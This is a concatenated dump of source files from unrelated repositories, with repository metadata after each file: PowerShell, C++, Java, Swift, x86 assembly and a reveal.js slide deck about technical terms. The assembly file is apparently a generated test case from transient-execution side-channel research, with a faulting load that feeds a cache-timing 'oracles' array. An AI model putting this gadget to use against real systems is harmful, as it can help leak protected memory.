$objDoc = $Application.presentations.Open($objFile.FullName, 2, $false, $false)
$arraySlideCount += $objDoc.slides.count
$intPages = $intPages + $objDoc.slides.count
$application.ActivePresentation.Close
}
$Application.Quit()
# Sort array so largest is in 0 location
$arraySlideCount = $arraySlideCount | Sort-Object -Descending
# Print results
"Results for Directory " + $strDir
"Total Presentations: " + $colFiles.Length
"Total Slides: " + $intPages
"Avg. Slides per Presentation: " + $intPages/$colFiles.Length
"Longest Deck: " + $arraySlideCount[0] + " slides" | 35.538462 | 91 | 0.751804 |
9c468d81a55f61dad310cedd8ca6f3e15323cea5 | 2,162 | cpp | C++ | source/ONFIAnalyzerResults.cpp | MonaQuimbamba/SampleAnalyzer | 0aceb4f52e1663f4935d6ec8d7b036635d498fb2 | [
"MIT"
] | null | null | null | source/ONFIAnalyzerResults.cpp | MonaQuimbamba/SampleAnalyzer | 0aceb4f52e1663f4935d6ec8d7b036635d498fb2 | [
"MIT"
] | null | null | null | source/ONFIAnalyzerResults.cpp | MonaQuimbamba/SampleAnalyzer | 0aceb4f52e1663f4935d6ec8d7b036635d498fb2 | [
"MIT"
] | null | null | null | #include "ONFIAnalyzerResults.h"
#include <AnalyzerHelpers.h>
#include "ONFIAnalyzer.h"
#include "ONFIAnalyzerSettings.h"
#include <iostream>
#include <fstream>
ONFIAnalyzerResults::ONFIAnalyzerResults( ONFIAnalyzer* analyzer, ONFIAnalyzerSettings* settings )
: AnalyzerResults(),
mSettings( settings ),
mAnalyzer( analyzer )
{
}
ONFIAnalyzerResults::~ONFIAnalyzerResults()
{
}
void ONFIAnalyzerResults::GenerateBubbleText( U64 frame_index, Channel& channel, DisplayBase display_base )
{
ClearResultStrings();
Frame frame = GetFrame( frame_index );
char number_str[128];
AnalyzerHelpers::GetNumberString( frame.mData1, display_base, 8, number_str, 128 );
AddResultString( number_str );
}
void ONFIAnalyzerResults::GenerateExportFile( const char* file, DisplayBase display_base, U32 export_type_user_id )
{
std::ofstream file_stream( file, std::ios::out );
U64 trigger_sample = mAnalyzer->GetTriggerSample();
U32 sample_rate = mAnalyzer->GetSampleRate();
file_stream << "Time [s],Value" << std::endl;
U64 num_frames = GetNumFrames();
for( U32 i=0; i < num_frames; i++ )
{
Frame frame = GetFrame( i );
char time_str[128];
AnalyzerHelpers::GetTimeString( frame.mStartingSampleInclusive, trigger_sample, sample_rate, time_str, 128 );
char number_str[128];
AnalyzerHelpers::GetNumberString( frame.mData1, display_base, 8, number_str, 128 );
file_stream << time_str << "," << number_str << std::endl;
if( UpdateExportProgressAndCheckForCancel( i, num_frames ) == true )
{
file_stream.close();
return;
}
}
file_stream.close();
}
void ONFIAnalyzerResults::GenerateFrameTabularText( U64 frame_index, DisplayBase display_base )
{
#ifdef SUPPORTS_PROTOCOL_SEARCH
Frame frame = GetFrame( frame_index );
ClearTabularText();
char number_str[128];
AnalyzerHelpers::GetNumberString( frame.mData1, display_base, 8, number_str, 128 );
AddTabularText( number_str );
#endif
}
void ONFIAnalyzerResults::GeneratePacketTabularText( U64 packet_id, DisplayBase display_base )
{
//not supported
}
void ONFIAnalyzerResults::GenerateTransactionTabularText( U64 transaction_id, DisplayBase display_base )
{
//not supported
} | 26.365854 | 115 | 0.759944 |
80d3a9b900acfde1a9cee9bb142ac28a48c736a5 | 12,431 | java | Java | Core/src/main/java/org/tribuo/impl/IndexedArrayExample.java | addstone/tribuo | 183008bde8530ec540d4b644b278f903d4e11874 | [
"ECL-2.0",
"Apache-2.0"
] | 2 | 2020-12-12T18:10:26.000Z | 2021-07-12T08:06:52.000Z | Core/src/main/java/org/tribuo/impl/IndexedArrayExample.java | neomatrix369/tribuo | 183008bde8530ec540d4b644b278f903d4e11874 | [
"ECL-2.0",
"Apache-2.0"
] | null | null | null | Core/src/main/java/org/tribuo/impl/IndexedArrayExample.java | neomatrix369/tribuo | 183008bde8530ec540d4b644b278f903d4e11874 | [
"ECL-2.0",
"Apache-2.0"
] | null | null | null | /*
* Copyright (c) 2015-2020, Oracle and/or its affiliates. All rights reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.tribuo.impl;
import com.oracle.labs.mlrg.olcut.util.SortUtil;
import org.tribuo.Example;
import org.tribuo.Feature;
import org.tribuo.ImmutableFeatureMap;
import org.tribuo.ImmutableOutputInfo;
import org.tribuo.Output;
import org.tribuo.util.Merger;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Collection;
import java.util.HashMap;
import java.util.Iterator;
import java.util.List;
import java.util.Map;
import java.util.NoSuchElementException;
import java.util.Objects;
import java.util.PriorityQueue;
/**
* A version of ArrayExample which also has the id numbers.
* <p>
* Used in feature selection to provide log n lookups. May be used
* elsewhere in the future as a performance optimisation.
*/
public class IndexedArrayExample<T extends Output<T>> extends ArrayExample<T> {
private static final long serialVersionUID = 1L;
protected int[] featureIDs;
protected final int outputID;
private final ImmutableFeatureMap featureMap;
private final ImmutableOutputInfo<T> outputMap;
/**
* Copy constructor.
* @param other The example to copy.
*/
public IndexedArrayExample(IndexedArrayExample<T> other) {
super(other.getOutput(),other.getWeight(),other.getMetadata());
featureNames = Arrays.copyOf(other.featureNames,other.featureNames.length);
featureIDs = Arrays.copyOf(other.featureIDs,other.size());
featureValues = Arrays.copyOf(other.featureValues,other.featureValues.length);
featureMap = other.featureMap;
outputMap = other.outputMap;
outputID = outputMap.getID(output);
size = other.size;
}
/**
* This constructor removes unknown features.
* @param other The example to copy from.
* @param featureMap The feature map.
* @param outputMap The output info.
*/
public IndexedArrayExample(Example<T> other, ImmutableFeatureMap featureMap, ImmutableOutputInfo<T> outputMap) {
super(other);
this.featureIDs = new int[other.size()];
this.featureMap = featureMap;
this.outputMap = outputMap;
this.outputID = outputMap.getID(output);
for (int i = 0; i < featureNames.length; i++) {
featureIDs[i] = featureMap.getID(featureNames[i]);
}
int[] newIDs = new int[other.size()];
String[] newNames = new String[other.size()];
double[] newValues = new double[other.size()];
int counter = 0;
for (int i = 0; i < featureIDs.length; i++) {
if (featureIDs[i] != -1) {
newIDs[counter] = featureIDs[i];
newValues[counter] = featureValues[i];
newNames[counter] = featureNames[i];
counter++;
}
}
size = counter;
featureNames = newNames;
featureIDs = newIDs;
featureValues = newValues;
}
@Override
public boolean equals(Object o) {
if (this == o) return true;
if (!(o instanceof IndexedArrayExample)) return false;
if (!super.equals(o)) return false;
IndexedArrayExample<?> that = (IndexedArrayExample<?>) o;
return outputID == that.outputID &&
Arrays.equals(featureIDs, that.featureIDs) &&
featureMap.equals(that.featureMap) &&
outputMap.equals(that.outputMap);
}
@Override
public int hashCode() {
int result = Objects.hash(super.hashCode(), outputID, featureMap, outputMap);
result = 31 * result + Arrays.hashCode(featureIDs);
return result;
}
@Override
protected void growArray(int minCapacity) {
int newCapacity = newCapacity(minCapacity);
featureNames = Arrays.copyOf(featureNames,newCapacity);
featureIDs = Arrays.copyOf(featureIDs,newCapacity);
featureValues = Arrays.copyOf(featureValues,newCapacity);
}
@Override
public void add(Feature feature) {
if (size >= featureNames.length) {
growArray();
}
featureNames[size] = feature.getName();
featureIDs[size] = featureMap.getID(feature.getName());
featureValues[size] = feature.getValue();
size++;
sort();
}
@Override
public void addAll(Collection<? extends Feature> features) {
if (size + features.size() >= featureNames.length) {
growArray(size+features.size());
}
for (Feature f : features) {
featureNames[size] = f.getName();
featureIDs[size] = featureMap.getID(f.getName());
featureValues[size] = f.getValue();
size++;
}
sort();
}
@Override
protected void sort() {
int[] sortedIndices = SortUtil.argsort(featureNames,0,size,true);
String[] newNames = Arrays.copyOf(featureNames,size);
int[] newIDs = Arrays.copyOf(featureIDs,size);
double[] newValues = Arrays.copyOf(featureValues,size);
for (int i = 0; i < sortedIndices.length; i++) {
featureNames[i] = newNames[sortedIndices[i]];
featureIDs[i] = newIDs[sortedIndices[i]];
featureValues[i] = newValues[sortedIndices[i]];
}
}
@Override
public void reduceByName(Merger merger) {
if (size > 0) {
int[] sortedIndices = SortUtil.argsort(featureNames, 0, size, true);
String[] newNames = new String[featureNames.length];
int[] newIDs = new int[featureIDs.length];
double[] newValues = new double[featureNames.length];
for (int i = 0; i < sortedIndices.length; i++) {
newNames[i] = featureNames[sortedIndices[i]];
newIDs[i] = featureIDs[sortedIndices[i]];
newValues[i] = featureValues[sortedIndices[i]];
}
featureNames[0] = newNames[0];
featureIDs[0] = newIDs[0];
featureValues[0] = newValues[0];
int dest = 0;
for (int i = 1; i < size; i++) {
while ((i < size) && newNames[i].equals(featureNames[dest])) {
featureValues[dest] = merger.merge(featureValues[dest], newValues[i]);
i++;
}
if (i < size) {
dest++;
featureNames[dest] = newNames[i];
featureIDs[dest] = newIDs[i];
featureValues[dest] = newValues[i];
}
}
size = dest + 1;
}
}
@Override
public void removeFeatures(List<Feature> featureList) {
Map<String,List<Integer>> map = new HashMap<>();
for (int i = 0; i < featureNames.length; i++) {
List<Integer> list = map.computeIfAbsent(featureNames[i],(k) -> new ArrayList<>());
list.add(i);
}
PriorityQueue<Integer> removeQueue = new PriorityQueue<>();
for (Feature f : featureList) {
List<Integer> i = map.get(f.getName());
if (i != null) {
// If we've found this feature remove it from the map to prevent double counting
map.remove(f.getName());
removeQueue.addAll(i);
}
}
String[] newNames = new String[size-removeQueue.size()];
int[] newIDs = new int[size-removeQueue.size()];
double[] newValues = new double[size-removeQueue.size()];
int source = 0;
int dest = 0;
while (!removeQueue.isEmpty()) {
int curRemoveIdx = removeQueue.poll();
while (source < curRemoveIdx) {
newNames[dest] = featureNames[source];
newIDs[dest] = featureIDs[source];
newValues[dest] = featureValues[source];
source++;
dest++;
}
source++;
}
while (source < size) {
newNames[dest] = featureNames[source];
newIDs[dest] = featureIDs[source];
newValues[dest] = featureValues[source];
source++;
dest++;
}
featureNames = newNames;
featureIDs = newIDs;
featureValues = newValues;
size = featureNames.length;
}
/**
* Does this example contain a feature with id i.
* @param i The index to check.
* @return True if the example contains the id.
*/
public boolean contains(int i) {
return Arrays.binarySearch(featureIDs,i) > -1;
}
@Override
public IndexedArrayExample<T> copy() {
return new IndexedArrayExample<>(this);
}
@Override
public void densify(List<String> featureList) {
if (featureList.size() != featureMap.size()) {
throw new IllegalArgumentException("Densifying an example with a different feature map");
}
// Ensure we have enough space.
if (featureList.size() > featureNames.length) {
growArray(featureList.size());
}
int insertedCount = 0;
int curPos = 0;
for (String curName : featureList) {
// If we've reached the end of our old feature set, just insert.
if (curPos == size) {
featureNames[size + insertedCount] = curName;
featureIDs[size + insertedCount] = featureMap.getID(curName);
insertedCount++;
} else {
// Check to see if our insertion candidate is the same as the current feature name.
int comparison = curName.compareTo(featureNames[curPos]);
if (comparison < 0) {
// If it's earlier, insert it.
featureNames[size + insertedCount] = curName;
featureIDs[size + insertedCount] = featureMap.getID(curName);
insertedCount++;
} else if (comparison == 0) {
// Otherwise just bump our pointer, we've already got this feature.
curPos++;
}
}
}
// Bump the size up by the number of inserted features.
size += insertedCount;
// Sort the features
sort();
}
/**
* Gets the feature at internal index i.
* @param i The internal index.
* @return The feature index.
*/
public int getIdx(int i) {
return featureIDs[i];
}
/**
* Gets the output id dimension number.
* @return The output id.
*/
public int getOutputID() {
return outputID;
}
/**
* Iterator over the feature ids and values.
* @return The feature ids and values.
*/
public Iterable<FeatureTuple> idIterator() {
return ArrayIndexedExampleIterator::new;
}
/**
* A tuple of the feature name, id and value.
*/
public static class FeatureTuple {
public String name;
public int id;
public double value;
public FeatureTuple() { }
public FeatureTuple(String name, int id, double value) {
this.name = name;
this.id = id;
this.value = value;
}
}
class ArrayIndexedExampleIterator implements Iterator<FeatureTuple> {
int pos = 0;
FeatureTuple tuple = new FeatureTuple();
@Override
public boolean hasNext() {
return pos < size;
}
@Override
public FeatureTuple next() {
if (!hasNext()) {
throw new NoSuchElementException("Off the end of the iterator.");
}
tuple.name = featureNames[pos];
tuple.id = featureIDs[pos];
tuple.value = featureValues[pos];
pos++;
return tuple;
}
}
}
| 34.057534 | 116 | 0.579841 |
42bc43108dc7b98af13f0620eadeb378a19de497 | 1,100 | swift | Swift | BCSSwiftTools/Swift+/Character+.swift | yoldizokohlay/SwiftTools | 93464d7bcac090a77acf08aae035b8af673975fa | [
"MIT"
] | 5 | 2020-01-20T15:50:15.000Z | 2021-03-18T08:49:36.000Z | BCSSwiftTools/Swift+/Character+.swift | yoldizokohlay/SwiftTools | 93464d7bcac090a77acf08aae035b8af673975fa | [
"MIT"
] | 1 | 2020-11-23T13:23:35.000Z | 2020-11-23T13:23:35.000Z | BCSSwiftTools/Swift+/Character+.swift | yoldizokohlay/SwiftTools | 93464d7bcac090a77acf08aae035b8af673975fa | [
"MIT"
] | 3 | 2020-04-21T07:45:07.000Z | 2021-02-18T05:47:35.000Z | //
// Character+.swift
// BrokerDomainCore
//
// Created by Ponomarev Vasiliy on 18/02/2019.
// Copyright © 2019 BCS. All rights reserved.
//
import Foundation
public extension Character {
/**
Проверяет, что текущий символ является цифрой.
- returns: Значение типа Bool.
*/
func isDigit() -> Bool {
let s = String(self).unicodeScalars
let uni = s[s.startIndex]
return NSCharacterSet.decimalDigits.contains(uni)
}
/**
Проверяет, что текущий символ записан в нижнем регистре.
- returns: Значение типа Bool.
*/
func isLowercasedLetter() -> Bool {
let str = String(self)
guard str.rangeOfCharacter(from: .letters) != nil else { return false }
return str.lowercased() == str
}
/**
Проверяет, что текущий символ записан в верхнем регистре.
- returns: Значение типа Bool.
*/
func isUppercasedLetter() -> Bool {
let str = String(self)
guard str.rangeOfCharacter(from: .letters) != nil else { return false }
return str.uppercased() == str
}
}
| 23.404255 | 79 | 0.618182 |
3359ebc2a42062a0182c1c8f3d22344c47b9db94 | 4,936 | asm | Assembly | Transynther/x86/_processed/US/_zr_/i9-9900K_12_0xa0_notsx.log_21829_625.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/US/_zr_/i9-9900K_12_0xa0_notsx.log_21829_625.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/US/_zr_/i9-9900K_12_0xa0_notsx.log_21829_625.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r13
push %r14
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WC_ht+0xb9a0, %rcx
xor %rdi, %rdi
movups (%rcx), %xmm0
vpextrq $0, %xmm0, %r14
nop
nop
nop
lfence
lea addresses_WT_ht+0x1377f, %rdx
sub %r13, %r13
movb (%rdx), %bl
nop
nop
and $32782, %rdi
lea addresses_UC_ht+0x2c8b, %rsi
lea addresses_normal_ht+0x1850b, %rdi
nop
nop
nop
nop
nop
sub $28624, %rdx
mov $122, %rcx
rep movsb
nop
nop
xor $36480, %rcx
lea addresses_normal_ht+0x1e0cb, %r13
nop
nop
nop
nop
add %rsi, %rsi
mov $0x6162636465666768, %rbx
movq %rbx, %xmm0
vmovups %ymm0, (%r13)
nop
cmp $49765, %rsi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %r14
pop %r13
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r15
push %rbx
push %rdx
// Faulty Load
lea addresses_US+0x1c90b, %r15
clflush (%r15)
nop
nop
nop
nop
nop
sub %r11, %r11
movups (%r15), %xmm1
vpextrq $0, %xmm1, %rdx
lea oracles, %r10
and $0xff, %rdx
shlq $12, %rdx
mov (%r10,%rdx,1), %rdx
pop %rdx
pop %rbx
pop %r15
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_US', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'type': 'addresses_US', 'AVXalign': False, 'size': 16, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 2}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_UC_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 9, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 5}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 47.92233 | 2,999 | 0.662885 |
4b5d6c429103ed94e8e534624d6aa80c95ca5999 | 544 | go | Go | client/peer/common/cmd_factory.go | Gordon-H/mini-ledger | c05e93f53aeb42c081b7b4c8e10afea510735b0e | [
"Apache-2.0"
] | null | null | null | client/peer/common/cmd_factory.go | Gordon-H/mini-ledger | c05e93f53aeb42c081b7b4c8e10afea510735b0e | [
"Apache-2.0"
] | null | null | null | client/peer/common/cmd_factory.go | Gordon-H/mini-ledger | c05e93f53aeb42c081b7b4c8e10afea510735b0e | [
"Apache-2.0"
] | null | null | null | package common
import (
pb "github.com/miniledger/protos/peer"
"github.com/miniledger/core/comm"
)
type CmdFactory struct {
EndorserClient pb.EndorserClient
//Signer msp.SigningIdentity
//BroadcastClient common.BroadcastClient
}
func InitCmdFactory() (*CmdFactory, error) {
client, _ := comm.NewGRPCClient()
address := "localhost:6601"
conn, err := client.Connect(address)
if err != nil {
panic(err)
return nil, err
}
endorser := pb.NewEndorserClient(conn)
return &CmdFactory{
EndorserClient: endorser,
}, nil
}
| 19.428571 | 44 | 0.71875 |
2f40e04f73e953774aa1e58087465313af985071 | 556 | cs | C# | src/Common/IParameter.cs | phiplatform/data-engine | 42488f3f60221acfc74a0c7384f14413a46222e8 | [
"BSD-3-Clause"
] | 4 | 2020-04-15T22:04:01.000Z | 2020-10-23T16:52:58.000Z | src/Common/IParameter.cs | phiplatform/data-engine | 42488f3f60221acfc74a0c7384f14413a46222e8 | [
"BSD-3-Clause"
] | null | null | null | src/Common/IParameter.cs | phiplatform/data-engine | 42488f3f60221acfc74a0c7384f14413a46222e8 | [
"BSD-3-Clause"
] | null | null | null | namespace NoRealm.Phi.DataEngine.Abstractions
{
/// <summary>
/// Represent a parameter passed to <see cref="ICommand"/>.
/// </summary>
public interface IParameter
{
/// <summary>
/// Get/Set parameter name.
/// </summary>
string Name { get; set; }
/// <summary>
/// Get/Set parameter data type
/// </summary>
IDataType DataType { get; set; }
/// <summary>
/// Get/Set parameter value.
/// </summary>
object Value { get; set; }
}
}
| 23.166667 | 63 | 0.507194 |
051b0c6700888752275d96578f9710c475eecf23 | 7,271 | html | HTML | index.html | top-secret/terminologies-simplified | bd7276875ff34d1ca314d34d31a6e4c3566c798c | [
"MIT"
] | null | null | null | index.html | top-secret/terminologies-simplified | bd7276875ff34d1ca314d34d31a6e4c3566c798c | [
"MIT"
] | null | null | null | index.html | top-secret/terminologies-simplified | bd7276875ff34d1ca314d34d31a6e4c3566c798c | [
"MIT"
] | null | null | null | <!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Terminologies simplified - Untangle</title>
<meta name="description" content="A framework for easily creating beautiful presentations using HTML">
<meta name="author" content="Hakim El Hattab">
<meta name="apple-mobile-web-app-capable" content="yes">
<meta name="apple-mobile-web-app-status-bar-style" content="black-translucent">
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
<link rel="stylesheet" href="css/reveal.css">
<link rel="stylesheet" href="css/theme/black.css" id="theme">
<link rel="stylesheet" href="http://code.ionicframework.com/ionicons/2.0.1/css/ionicons.min.css">
<link rel="stylesheet" href="css/custom.css">
<!-- Theme used for syntax highlighting of code -->
<link rel="stylesheet" href="lib/css/zenburn.css">
<!-- Printing and PDF exports -->
<script>
var link = document.createElement('link');
link.rel = 'stylesheet';
link.type = 'text/css';
link.href = window.location.search.match(/print-pdf/gi) ? 'css/print/pdf.css' : 'css/print/paper.css';
document.getElementsByTagName('head')[0].appendChild(link);
</script>
<!--[if lt IE 9]>
<script src="lib/js/html5shiv.js"></script>
<![endif]-->
<!-- Global site tag (gtag.js) - Google Analytics -->
<script async src="https://www.googletagmanager.com/gtag/js?id=UA-82108949-4"></script>
<script>
window.dataLayer = window.dataLayer || [];
function gtag() {
dataLayer.push(arguments);
}
gtag('js', new Date());
gtag('config', 'UA-82108949-4');
</script>
</head>
<body>
<div class="reveal">
<!-- Any section element inside of this container is displayed as a slide -->
<div class="slides">
<section id="intro">
<h2>Terminologies Simplified</h2>
<p>
Simplifying the terminologies for you in a correlation manner. In simple terms, understand a new term or concept by connecting
it with a real life scenario.
</p>
</section>
<section id="operating-system">
<section id="operating-system-simple" data-menu-title="Operating System">
<h2>Operating System</h2>
<p>
A system to operate everything. Complete system which runs everything on mobile, computer or laptop is called as Operating
system.
<br/>
<br/> In a human body, different systems like Circulatory, Digestive, Respiratory, Nervous, Skeleton etc keeps on functioning
from birth to death. Hence, collection of these systems as a whole can be called an
<u>
<i>operating system</i>
</u> which controls and operates everything happening in our body.
</p>
<a href="#" class="navigate-down navigate-icons-custom">
<i class="icon ion-chevron-down"></i>
</a>
</section>
<section id="operating-system-define" data-menu-title="Operating System - Definition">
<h2>Operating System</h2>
<p>
An operating system (OS) is system software that manages computer hardware and software resources and provides common services
for computer programs. All computer programs, excluding firmware, require an operating system to function.
<br>
<br> E.g: Windows, Linux, macOS, Android etc.
<a href="http://whatis.techtarget.com/definition/operating-system-OS" target="_blank">Read more </a>
</p>
<a href="#/operating-system" class="navigate-up navigate-icons-custom">
<i class="icon ion-chevron-up"></i>
</a>
</section>
</section>
<section id="data-wrangling" data-menu-title="Data Wrangling">
<section id="data-wrangling-simple" data-menu-title="Data Wrangling">
<h2>Data Wrangling</h2>
<img data-src="images/data-wrangling/water-filter-data-wrangling.jpg">
<p>Like this DIY water filter makes the water potable, similarly data wrangling is the process of cleaning complex data
sets for analysis in any business.</p>
</section>
<section id="data-wrangling-define" data-menu-title="Data Wrangling - Definition">
<h2>Data wrangling</h2>
<p>
Data wrangling, sometimes referred to as data munging, is the process of transforming and mapping data from one "raw" data
form into another format with the intent of making it more appropriate and valuable for a variety of downstream purposes
such as analytics
<a href="https://www.datawatch.com/what-is-data-wrangling/" target="_blank" title="Data wrnagling in details">Read more</a>
</p>
</section>
</section>
<section id="domain-name">
<section id="domain-name-simple" data-menu-title="Domain Name">
<h2>Domain Name</h2>
<p>You can't remember mobile numbers of every contact and hence, a mapping of Mobile numbers with their names is present so that you can remember them easily. Similarly, IP address of a Website is mapped with
a domain name so that humans can memorize them easily.
</p>
<p>
Location of your house is mapped with a proper address instead of Latitude and Longitude so that it's easy to remember and visit any location.
</p>
E.g. facebook.com, amazon.com, microsoft.com
</section>
<section id="domain-name-define" data-menu-title="Domain Name - Definition">
<h2>Domain Name</h2>
<p>
Domain names are easy-to-remember words that we can use to communicate to a DNS server the website we want to visit. The Domain Name System (DNS) is what translates the friendly name to an IP address.
</p>
</section>
</section>
</div>
</div>
<script src="lib/js/head.min.js"></script>
<script src="js/reveal.js"></script>
<script>
// More info https://github.com/hakimel/reveal.js#configuration
Reveal.initialize({
controls: true,
progress: true,
history: true,
center: true,
transition: 'slide', // none/fade/slide/convex/concave/zoom
// More info https://github.com/hakimel/reveal.js#dependencies
dependencies: [{
src: 'lib/js/classList.js',
condition: function () {
return !document.body.classList;
}
},
{
src: 'plugin/markdown/marked.js',
condition: function () {
return !!document.querySelector('[data-markdown]');
}
},
{
src: 'plugin/markdown/markdown.js',
condition: function () {
return !!document.querySelector('[data-markdown]');
}
},
{
src: 'plugin/highlight/highlight.js',
async: true,
callback: function () {
hljs.initHighlightingOnLoad();
}
},
{
src: 'plugin/search/search.js',
async: true
},
{
src: 'plugin/zoom-js/zoom.js',
async: true
},
{
src: 'plugin/notes/notes.js',
async: true
},
{
src: 'plugin/menu/menu.js',
}
],
menu: {
markers: true
}
});
Reveal.addEventListener('slidechanged', function (event) {
// event.previousSlide, event.currentSlide, event.indexh, event.indexv
var title = event.indexh;
if(event.currentSlide.dataset.menuTitle)
{
title = event.currentSlide.dataset.menuTitle;
}
gtag('event', 'event_name', {
'event_category': 'Slide',
'event_label': 'Changed',
'event_action': title
});
});
</script>
</body>
</html> | 31.07265 | 214 | 0.660844 |
80d7df4ec38e8e4b7028cf2a6f52fa982c179287 | 957 | java | Java | src/test/java/com/ttulka/ecommerce/shipping/delivery/DeliveryInfoTest.java | danqulogy/ddd-example-ecommerce | 221e409be49cc30db63abd7a216b7cb1ab293422 | [
"MIT"
] | 75 | 2020-04-11T07:42:43.000Z | 2022-03-26T20:28:25.000Z | src/test/java/com/ttulka/ecommerce/shipping/delivery/DeliveryInfoTest.java | danqulogy/ddd-example-ecommerce | 221e409be49cc30db63abd7a216b7cb1ab293422 | [
"MIT"
